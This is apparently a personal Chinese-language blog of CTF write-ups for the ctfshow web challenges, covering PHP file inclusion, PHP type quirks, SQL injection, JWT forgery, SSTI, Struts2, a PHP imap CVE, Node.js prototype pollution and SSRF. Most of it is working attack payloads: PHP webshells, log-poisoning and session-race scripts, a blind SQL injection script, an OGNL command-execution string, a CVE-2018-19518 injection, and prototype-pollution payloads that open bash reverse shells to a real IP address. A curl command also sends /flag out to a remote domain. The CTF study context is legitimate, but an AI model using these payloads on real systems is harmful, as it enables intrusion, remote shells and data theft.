首页 CTF!

我要变强！

ctfshow VIP 题库开刷！

# PHP 文件包含

# web78

没有任何过滤的裸 include 直接 include2shell 开杀

哦这个还用不了 include2shell 没有启用这些 filter

那就直接读取就行

php://filter/convert.base64-encode/resource=flag.php

# web79

过滤了 php 字段 用 data 协议传个🐎进去

?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy4/Pz8iKSA/Pg==

# web80

草了 又把 data 也给过滤了

但是没过滤大小写 所以用 PHP://input 和 post 内容写个马就读到了 cat fl0g.php

# web81

byd 怎么把冒号给过滤了

这回要打正经的日志包含了

nginx 日志路径：/var/log/nginx/access.log

apache 日志路径：/var/log/apache2/access.log

log 会记录 url 和 ua 因为 url 会进行编码 所以用 ua 写马

在 UA 里改成要执行的 php 命令 一定要一次成功 如果有问题就会 fatalerror 只能重开环境

总之就是把 UA 设置成 <?php system ('cat fl0g.php');?> 多访问几次 就出来了

# web82

这个题把。给过滤了 算你狠

打一个 session 竞争包含 具体看这里 https://www.freebuf.com/vuls/202819.html

import io
import requests
import threading
sessid = 'tri'
def POST(session):
    f = io.BytesIO(b'a' * 1024 * 50)
    session.post(
        'http://f1510789-decf-456f-bc71-bfcc9b8a693d.challenge.ctf.show/',
        data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php system(\"ls\");?>"},
        files={"file":('q.txt', f)},
        cookies={'PHPSESSID':sessid}
    )
with requests.session() as session:
    while True:
        POST(session)
        print(f"[+] 成功写入sess_{sessid}")
一边发送这个 一边包含 /tmp/sess_SESSID 就能 rce
这会没开竞争环境 就先写完 wp 先不做了
先做不用竞争的
# web87
有一行
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);
一个死亡 exit 所以需要用一些操作把这个 die 转义了以后再写入 shell
这里的 file 是可以用伪协议的 构造一个带 rot13filter 的 write 伪协议 同时提前 rot13 一次 content 就能把 die 给转义 同时恢复 content 原样
php://filter/write=string.rot13/resource=2.php
这里要过两次 urlencode 因为会再被动 decode 一次
# web88
preg_match("/php|~|!|@|#|\$|%|^|&|*|(|)|-|_|+|=|./i", $file)
看着过滤了好多
实际上呢 直接打 79 的 payload 就能过 找一个编码 base64 后不含有特殊符号的密码就好
# web116
Untitled.png
从 mp4 里分离出 png 是源码截图
过滤了一堆 但是发现我可以直接包含 flag.php 拿到 flag
# web117
看起来很像 web87？但是把 rot13 过滤了 需要找其他的方法转义死亡 exit
从 https://www.anquanke.com/post/id/202510#h2-14 里找到了一些方法
通过 UCS-2 方式，对目标字符串进行 2 位一反转（这里的 2LE 和 2BE 可以看作是小端和大端的列子），也就是说构造的恶意代码需要是 UCS-2 中 2 的倍数，不然不能进行正常反转（多余不满足的字符串会被截断），那我们就可以利用这种过滤器进行编码转换绕过了
php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=shell1.php
contents 也是预先翻转过？<hp pvela$(G_TE'[mc'd)]?;>>
这样就有了一个 webshell
# PHP 特性
这一块就是刷基础的部分了
# web89
if(preg_match("/[0-9]/", $num)){
        die("no no no!");
    }
经典的要绕过 pregmatch，这里采用数组绕过 pregmatch 在参数不合法时就会返回 false
?num[]=1
# web90
if($num==="4476"){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
先是一个强比较 4476，然后用了一个 intval
intval ($num,0) 的工作原理如下
如果 base 是 0，通过检测 var 的格式来决定使用的进制：
  • 如果字符串包括了 "0x" (或 "0X") 的前缀，使用 16 进制 (hex)；否则，
  • 如果字符串以 "0" 开始，使用 8 进制 (octal)；否则，
  • 将使用 10 进制 (decimal)。
这样就可以利用进制构建一个 payload
?num=0x117c
0x117c 转到 10 进制就是 4476
# web91
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
    if(preg_match('/^php$/i', $a)){
        echo 'hacker';
    }
    else{
        echo $flag;
    }
}
else{
    echo 'nonononono';
}
第一行的正则多了一个 m 修饰符，指的是多行匹配
就可以构建一个带换行的字符串
在 url 中，换行符是 %0a
所以令 cmd=%0aphp 就能达成条件
# web92
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}
可以直接用 90 的 payload 原理是一样的
# web93
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
不让用进制转换的 intval，所以可以令 num=4476.1, 转换成 int 的时候就会自己把小数舍去了
# web94
if(!strpos($num, "0")){
        die("no no no!");
    }
这个题在上一题基础上加了一条限制，要求 num 中含有 0
所以让 num=4476.10 即可
# web95
if(preg_match("/[a-z]|\./i", $num)){
        die("no no no!!");
    }
把小数点 ban 了
?num=+010574 可以用八进制绕过 前面加上一个加号让 intval 能把他识别成整数
# web96
if(isset($_GET['u'])){
    if($_GET['u']=='flag.php'){
        die("no no no");
    }else{
        highlight_file($_GET['u']);
    }
}
不让直接传 flag.php 那就传./flag.php 啊
# web97
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
md5 弱比较，直接数组绕过
a[]=1&b[]=a
# web98
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
？这什么
实在是低能完了 不会遇到这种题的
1. **`include("flag.php");`**: 尝试包含一个名为 "flag.php" 的文件。这个文件可能包含一些敏感信息，但我们无法确定其内容，因为这个文件没有提供。
2. **`$_GET?$_GET=&$_POST:'flag';`**: 这一行实际上是在检查是否存在 GET 请求，并且将 **`$_GET`** 设置为 **`$_POST`**，否则将 **`$_GET`** 设置为字符串 'flag'。
3. **`$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';`**: 如果 **`$_GET['flag']`** 的值等于 'flag'，则将 **`$_GET`** 设置为 **`$_COOKIE`**，否则将 **`$_GET`** 设置为字符串 'flag'。
4. **`$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';`**: 类似上一行，如果 **`$_GET['flag']`** 的值等于 'flag'，则将 **`$_GET`** 设置为 **`$_SERVER`**，否则将 **`$_GET`** 设置为字符串 'flag'。
5. **`highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);`**: 使用 **`highlight_file`** 函数来高亮显示一个文件的源代码。根据 **`$_GET['HTTP_FLAG']`** 是否等于 'flag' 的条件，决定是显示 'flag.php' 文件的内容还是当前文件的内容。

根据 chatgpt 的解释，只需要把 get 随便传点东西，然后 postHTTP_FLAG=flag 就可以在报错信息里看到 flag 了
# web99
$allow = array();
for ($i=36; $i < 0x36d; $i++) { 
    array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
    file_put_contents($_GET['n'], $_POST['content']);
}
这里是利用 inarray 的漏洞，这个函数默认的 strict 模式是 false 先往 array 里填一些随机数字 所以当 n 以数字开头时 弱比较会把 n 数字之后的字符忽略 所以令 n=1.php 因为 1 肯定会被包含在 allow 里 所以必定能合法绕过
n=1.php&content=<?php system($_POST[1]);?>
# web100
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\;/", $v2)){
        if(preg_match("/\;/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
    
}
v0 有一个赋值运算 因为赋值运算优先级大于 and 运算 所以只需要 v1 是数字就行
v2 不能有；v3 要有；所以在 v2 用？> 截断即可
?v1=1
&v2=var_dump($ctfshow)?>
&v3=;
dump 出这个对象 把 0x2d 转换成 - 就是 flag
# web101
修改了 100 中的正则 要求不能含有数字和符号
可以使用 echo new Reflectionclass 获取这个类的参数 就能拿到 flag 了
# web102
# web110
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];
    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
            die("error v2");
    }
    eval("echo new $v1($v2());");
}
一个仅字母的原生类利用
先用
?v1=FilesystemIterator
&v2=getcwd
获取当前目录下文件
看到 flag 文件以后 直接访问这个文件就能看到 flag 了
# web111
include("flag.php");
function getFlag(&$v1,&$v2){
    eval("$$v1 = &$$v2;");
    var_dump($$v1);
}
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];
    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
            die("error v2");
    }
    
    if(preg_match('/ctfshow/', $v1)){
            getFlag($v1,$v2);
    }
有一个可变变量 $$v1 和 $$v2
令 v1=ctfshow v2=GLOBALS 这样覆盖后就会 vardumpGLOBALS 把包括 flag 的变量输出出来
# web112
function filter($file){
    if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
        die("hacker!");
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}
用 php 伪协议直接读就行 php://filter/resource=flag.php
# web113
ban 了 filter 用 compress.zlib 读就行
# web114
=web112
# web115
在 php 中 "36" 是等于 "\x0c36" 的，同时 trim 也不会过滤掉 \x0c 也就是 %0c
function filter($num){
    $num=str_replace("0x","1",$num);
    $num=str_replace("0","1",$num);
    $num=str_replace(".","1",$num);
    $num=str_replace("e","1",$num);
    $num=str_replace("+","1",$num);
    return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
    if($num=='36'){
        echo $flag;
    }else{
        echo "hacker!!";
    }
num=%0c36
# web123
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
         eval("$c".";");  
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}
     if($fl0g==="flag_give_me"){
         echo $flag;这个纯误导 能eval了 直接echoflag就行了

# web125
题目限制的是 $c<=16 不是长度小于 16 所以直接 eval 再用 get 传进命令就行了
# web126
php7 无法直接用 assert 执行函数 因此用 assert ($a [0]) ?fl0g=flag_give_me 执行赋值语句
# web127
highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];
// 特殊字符检测
function waf($url){
    if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){
        return true;
    }else{
        return false;
    }
}
if(waf($url)){
    die("嗯哼？");
}else{
    extract($_GET);
}
if($ctf_show==='ilove36d'){
    echo $flag;
}
query 禁止传入这些字符 所以用 ctf show 让 php 处理非法参数名自动转换成_就可以
# web128
$f1 = $_GET['f1'];
$f2 = $_GET['f2'];
if(check($f1)){
    var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
    echo "嗯哼？";
}
function check($str){
    return !preg_match('/[0-9]|[a-z]/i', $str);
}
两层用户函数 无字母数字
get_defined_vars 类似 GLOBALS 返回所有已定义变量的数组
# SQLi
# web171
// 拼接 sql 语句查找指定 ID 用户
$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";
简单的直接拼接
‘ or 1=1 —+
就能使条件全部成立 返回所有账户
# web172
增加了一层判断
// 检查结果是否有 flag
    if($row->username!=='flag'){
      $ret['msg']='查询成功';
    }
因此使用 union 联合查询
1' union select 2,password from ctfshow_user2 --+
使 username 恒为 2
就可以查询到结果
# web173
和 172 同样的 只是变成了三个字段 修改一下就行
# web174
禁止返回结果中出现 flag 和数字 所以使用布尔盲注获取 flag
import requests
from string import ascii_lowercase,digits
word = ascii_lowercase + digits + "_{}-"
url = "http://001f2822-f26a-44bb-a9b6-ad7ed9dbb1a6.challenge.ctf.show/api/v4.php?id="
flag = ""
while True:
    for i in word:
        r = requests.get(url + f"1' AND (SELECT password FROM ctfshow_user4 where username = 'flag') LIKE '{flag + i}%' --+")
        if "admin" in r.text:
            flag += i
            print(flag)
            break
# web175
这个题禁止了所有 ascii 字符 也就是没有回显 就不能使用布尔盲注了 可以使用时间盲注
也可以通过 into outfile 把结果写入外部网站文件
1' union select username , password from ctfshow_user5 where username='flag' into outfile'/var/www/html/ctf.txt' --+
# web176
这个题开始有 waf 了 不知道过滤了什么
用 a' or 1=1 --+ 可以直接绕过
# web177
这里的 waf 过滤了空格 因此把所有的空格用 /**/ 行间注释替代 再用 unionselect 查询即可
# web178
这个题把注释符全部过滤 因此可以使用 %0b 或者 %09 替代空格
或者使用不需要空格的 payload
'or'1'='1'%23
# web179
依然是对空格的过滤上做改变 因此可以使用上面的 payload
# web180
禁止使用 #来注释语句剩余内容 改为使用 —+ 这里的 + 需要 url 编码成 %0c
# JWT
# web345
where is flag? 查看响应标头，有一个 auth cookie 给了一个 jwt，并提示要访问 admin
auth=eyJhbGciOiJOb25lIiwidHlwIjoiand0In0.W3siaXNzIjoiYWRtaW4iLCJpYXQiOjE3MDA1NzIxMjAsImV4cCI6MTcwMDU3OTMyMCwibmJmIjoxNzAwNTcyMTIwLCJzdWIiOiJ1c2VyIiwianRpIjoiMzc0MDIyOWYxYjE3MWRmZTZhNjJjNjMzZjlkMGRiZWUifV0
Untitled.png
解码出来是这样 没有签名的 jwt 直接把 sub 改成 admin 试试
用改好的 jwt 访问 admin 获得 flag
# web346
auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMDU3MjQ5MCwiZXhwIjoxNzAwNTc5NjkwLCJuYmYiOjE3MDA1NzI0OTAsInN1YiI6InVzZXIiLCJqdGkiOiI4NDQ5YmYyMzQwMWE2OGE3NTk3YTIwOWQ5YzE4NWI1MCJ9.Zx2mZerMpnJTieuQHpYoGqQ8WKIzn36bseFh9oH
这下 jwt 带签名了，用的 HS256 算法，需要先破解 secretkey
这个题考察的是 jwt 攻击方法之一的 alg 为 none，有一些后端在你把 jwtheader 的 alg 设置为 none 时就不会验证签名
Untitled.png
用 jwttools 先生成修改好 admin 的 jwt
python3 jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMDU3NTk1OCwiZXhwIjoxNzAwNTgzMTU4LCJuYmYiOjE3MDA1NzU5NTgsInN1YiI6ImFkbWluIiwianRpIjoiZTE2NTZhOGU2ZTFkNDVkYWIwOGIzZjhjYmVkYzZkM2MifQ.Y6rVpdFqoNkrP0o1bOlQHpge7SSxdpnyyKET5i34e6U -Xa
然后用 - Xa 执行 none 攻击
用这个 jwt 访问就可以拿到 flag
# web347
题目提示 jwt 弱口令，爆破一下 sk 是 123456
修改 admin 直接带上访问
# web348
同样的爆破 字典跑出来是 aaab
# web349
这是一道私钥泄露的题 访问 /private.key 能获得私钥
用这个私钥修改为 admin 之后直接签名即可
# web350
泄露了 publicKey
这个题打 CVE-2016-5431 这个洞 是将 RS256 非对称加密修改为 HS256 对称加密的问题 一个签名算法混淆 但是校验不严格
尝试用 py 的 jwt 包打了但是不通 可能内部签名逻辑还是不同
用一个 js 脚本导入相同的包
var jwt = require('jsonwebtoken');
var fs = require('fs');
var privateKey = fs.readFileSync('./public.key');
var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'HS256' });
console.log(token);
再用这个 token 去访问就能拿到 flag 了
# SSTI
经典总结 https://tttang.com/archive/1698/
# web361
题目描述是 名字就是考点 估计是 name query 的 ssti
?name=<!--swig0--><!--swig1--><!--swig2--><!--swig3--><!--swig4-->
# web362
加上过滤了
这里的过滤语句是 2|3
不知道过滤的什么，反正上面的 payload 还能用
# web363
这里好像过滤了单引号
这样就把单引号中的字符串用 request.args.a 代替，再用 a=os 这样传进去
?name=<!--swig5-->&a=os&b=env
# web364
试了一下 是把 args 给 ban 了
那就用 cookies 代替
?name=<!--swig6-->
同时 cookie 传入 a=os;b=env
# web365
这个是过滤了单双引号 args 和 [ 所以还能用上一个的 payload
# web366
过滤了下划线
还是用 request.cookies 或者 request.values 代替，这里用 | attr () 绕过
原来那个 payload 下划线太多了，找个少点的来写
?name=<!--swig7-->
b=env;c=globals
# web367
把 os 过滤掉了
?name=<!--swig8-->
b=env;c=globals;d=os
# web368
过滤了
所以用 {+% 和 %+} 代替，原来的 payload 加一个 print 就行了
?name=<!--swig10-->
# web369
把 request 过滤掉了
<!--swig11-->
<!--swig12-->
<!--swig13-->
<!--swig14-->
<!--swig15-->
<!--swig16-->
<!--swig17-->
<!--swig18-->
<!--swig19-->
<!--swig20-->
<!--swig21-->
<!--swig22-->
<!--swig23-->
用了一个很麻烦的 payload，基本思路就是获取各个需要的部分的字符串并保存在变量里，获取 chr 函数拼接出需要的命令，最后使用这些变量拼接执行命令
# web370
这个题过滤了数字，可以用 count 这个 filter 来获取
还有一个邪道是用全角数字代替半角数字
<!--swig24-->
<!--swig25-->
<!--swig26-->
<!--swig27-->
<!--swig28-->
<!--swig29-->
<!--swig30-->
<!--swig31-->
<!--swig32-->
def half2full(half):
    full = ''
    for ch in half:
        if ord(ch) in range(33, 127):
            ch = chr(ord(ch) + 0xfee0)
        elif ord(ch) == 32:
            ch = chr(0x3000)
        else:
            pass
        full += ch
    return full
while 1:
    t = ''
    s = input("输入想要转换的数字字符串：")
    for i in s:
        t += half2full(i)
    print(t)
把原本 payload 的数字全换成这个就行了
# web371
这个题禁止了 print，需要找到其他的数据外带方法
这里可以用 curl 访问信标来外带数据
具体命令是
curl -X POST -F xx=@/flag domain
@就能实现读取这个文件 把内容发送出来
# web372
禁止了 count，就用 370 这个全角数字打就可以
之前做 ISCC 的时候遇到过一个很综合的 ssti 题目，这里 https://blog.csdn.net/c868954104/article/details/131003141
# JAVA
# web279
题目提示了是 S2-001 用 struts2 工具直接开杀
Untitled.png
# web280
S2-005 同样开杀
# web281
S2-007 杀
# web282
S2-008 杀
# web283
杀 不是 我都不知道在干啥 这利用工具杀疯了啊
# web284
S2-016 通杀
# web285
杀
# web286
杀
# web287
杀
# web288
杀
# web289
S2-029 这个没有一键 exp 上网抄了个 他标题写的 S2-032 成功误导我了
default.action?message=(%23_memberAccess['allowPrivateAccess']=true,%23_memberAccess['allowProtectedAccess']=true,%23_memberAccess['excludedPackageNamePatterns']=%23_memberAccess['acceptProperties'],%23_memberAccess['excludedClasses']=%23_memberAccess['acceptProperties'],%23_memberAccess['allowPackageProtectedAccess']=true,%23_memberAccess['allowStaticMethodAccess']=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('ls').getInputStream()))
# web290
杀
# web291
杀
# web292
杀
# web293
杀
# web294
杀
# web295
也是没 exp 网上找一个
在 showcase 的 /integration/saveGangster.action 路径下输入 OGNL 语法，$
Untitled.png
出来的是 3 说明执行成功
然后就类似 SSTI 的 RCE 拿下了
# web296
杀
# web297
杀
# web298
终于不是 S2 系列通杀了！
这个题有坑！默认进去的路径是 / 这个是 404 的 要手动跳到 ctfshow/
给了源码，是要满足
public boolean getVipStatus() {
        return this.username.equals("admin") && this.password.equals("ctfshow");
    }
哦
这个低能题 还得手动调 login 目录 一点提示没有
/ctfshow/login?username=admin&password=ctfshow
# web299
有一行注释
Untitled.png
但是没有.php 转而读取 java 常用的 jsp
接着扫描 / WEB-INF/web.xml 发现存在 com.ctfshow.servlet.GetFlag
读取试试
对应的文件路径是 / WEB-INF/classes/com/ctfshow/servlet/GetFlag.class
读取到的源码中有一个
Untitled.png
用../../../../fl3g 读取到 flag
# web300
和上个题类似 只是套了个 php 的皮 我想用 include2shell 打就露出原形了
# PHPCVE
# Web312
1. 环境
Untitled.png
看到是 php5.6.38 一个邮箱系统
查询 cve 找到 CVE-2018-19518
通过设置 - oProxyCommand = 来调用第三方命令，攻击者通过注入注入这个参数，最终将导致命令执行漏洞
利用方式；先写一个一句话 然后 base64 用 shell 命令把他写进一个文件
echo "PD9waHAgZXZhbCgkX1BPU1RbMV0pOyA/Pg==" | base64 -d >/var/www/html/1.php
再把这一句 base64 写进 exp
x -oProxyCommand=echo	"ZWNobyAiUEQ5d2FIQWdaWFpoYkNna1gxQlBVMVJiTVYwcE95QS9QZz09IiB8IGJhc2U2NCAtZCA+L3Zhci93d3cvaHRtbC8xLnBocA=="|base64	-d|sh}
填进 hostname 注意 前面这个一定是 x 然后要两次 url 编码
Untitled.png
Untitled.png
然后就能 rce 了
Untitled.png
# NodeJS
基础宝箱：https://xz.aliyun.com/t/11791
# web334
这一块是 nodejs 题目
下载下来源码，看出是要绕过这一段
var findUser = function(name, password){
  return users.find(function(item){
    return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
  });
};
再一看 哦 原来给账号密码了
module.exports = {
  items: [
    {username: 'CTFSHOW', password: '123456'}
  ]
};
# web335
where is flag?
f12 看到注释
<!-- /?eval= -→
估计是要在 nodejs 里 rce
利用 require ("child_process").execSync ("ls"); 来 rce，成功读取到 flag
# web336
还是 where is flag?
但是好像有一些过滤 过滤了 exec？不确定
https://forum.butian.net/share/1631 这里有一些常见的 bypass 方法
require("child_process")["ex"+"ecSync"]('ls');
用 [] 执行方法，拼接字符串绕过 exec 限制
注意特殊符号要 url 编码
# web337
题目描述给出了源码
var express = require('express');
var router = express.Router();
var crypto = require('crypto');
function md5(s) {
  return crypto.createHash('md5')
    .update(s)
    .digest('hex');
}
/* GET home page. */
router.get('/', function(req, res, next) {
  res.type('html');
  var flag='xxxxxxx';
  var a = req.query.a;
  var b = req.query.b;
  if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
  	res.end(flag);
  }else{
  	res.render('index',{ msg: 'tql'});
  }
  
});
module.exports = router;
原来是经典闯关绕过
用 nodejs 特性传入两个对象
a[a]=1&b[b]=2
在内部表示为
a={'a':'1'}
b={'b':'2'}
这样就绕过了限制
# web338
题目给了源码
审了一圈以后发现获取 flag 要求是要求 secert.ctfshow==36dboy
utils.copy(user,req.body);
  if(secert.ctfshow==='36dboy'){
    res.end(flag);
并且发现一个 copy 函数
function copy(object1, object2){
    for (let key in object2) {
        if (key in object2 && key in object1) {
            copy(object1[key], object2[key])
        } else {
            object1[key] = object2[key]
        }
    }
  }
很明显的 pollute！
构建一个请求
{"username":"123","password":"123","__proto__":{"ctfshow":"36dboy"}}
注意这种包 hackbar 是有问题的 得用 bp 或者 requests 硬发
发完就拿到了 flag
# web339
源码类似 338，但是要求变成了 secert.ctfshow===flag，这明显是不可能成立的
同时多了一个 api 路由
router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  res.render('api', { query: Function(query)(query)});
   
});
注意这个 query：这是个什么 b 东西呢？哪都不存在，所以我们应该对 object 污染出这个东西
因为也不知道 flag 位置 就直接用最简单的弹一个 shell 出来的 payload
{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/x/9001 0>&1\"')"}}
这样再访问 /api 就会自动弹出 shell
访问 /app/routes/login.js 拿到 flag
> PS：如果上下文中没有require(类似于Code-Breaking 2018 Thejs)，则可以使用global.process.mainModule.constructor._load('child_process').exec('calc')来执行命令

# web340
utils.copy(user.userinfo,req.body);
  if(user.userinfo.isAdmin){
   res.end(flag);
差不多的事 但是改成向上污染两层
{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/150.109.158.220/9001 0>&1\"')"}}}
# web341
这一题删除了 339 和 340 中的 api 路由，因此不能靠污染 query 来 rce
所以使用原型链污染到 ejs 的 rce payload 来弹 shell
具体可看 https://xz.aliyun.com/t/7075
{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/150.109.158.220/9001 0>&1\"');var __tmp2"}}}
# web342
这一题换用了 jade 模板引擎，要打 jade 的原型链污染 rce 利用链
具体看这里 https://xz.aliyun.com/t/7025#toc-5
相同的两次污染
{"__proto__":{"__proto__":{"type":"Block","nodes":"","compileDebug":1,"self":1,"line":"global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/150.109.158.220/9001 0>&1\"')"}}}
# web343
和 342 打相同的 payload 就出来了 也不知道他这过滤了什么
# web344
这个题把 nodejs 的低能展现的淋漓尽致
router.get('/', function(req, res, next) {
  res.type('html');
  var flag = 'flag_here';
  if(req.url.match(/8c|2c|\,/ig)){
  	res.end('where is flag :)');
  }
  var query = JSON.parse(req.query.query);
  if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
  	res.end(flag);
  }else{
  	res.end('where is flag. :)');
  }
});
要打的 payload 是？query=
？你就给我说这都 tm 截断的参数凭什么能在内部拼在一起啊
把所有的 query 都 urlencode 一下就能传进去了
nodejs 堂堂完结！
# SSRF
# web351
这个题给了一个 curl 的环境 允许传入 curl 的内容
直接 file 协议读 flag.php 就好了
# web352
只允许 http/s 协议和非 localhost/127.0.0.1，但是不知为何 http://127.0.0.1/flag.php 能拿到 flag
# web353
加强了正则表达式，但是 linux 中只要 127 开头就可以表示本机地址 因此将 127.0.0.1 换为其他 ip 即可
# web354
匹配了 localhost|1|0|。
也就是说不能用 localhost/127 开头 / 0 了 此时可以用一个解析到 127.0.0.1 的域名 得到相同的效果
# web355
要求 host 长度小于 5 用 0 表示本机 ip 即可
# web356
同上 把 host 长度限制改成了小于等于 3
# 中期考核
# web486
默认访问路径是 /index.php?action=login
我凭直觉感觉这个 action 后面肯定是个 include 或者什么的套着
于是改成 /etc/passwd 试试
Untitled.png
果然
fuzz 了几个文件以后，试出来 flag 在 /var/www/html/flag.php 里，都不用绕过末尾的.php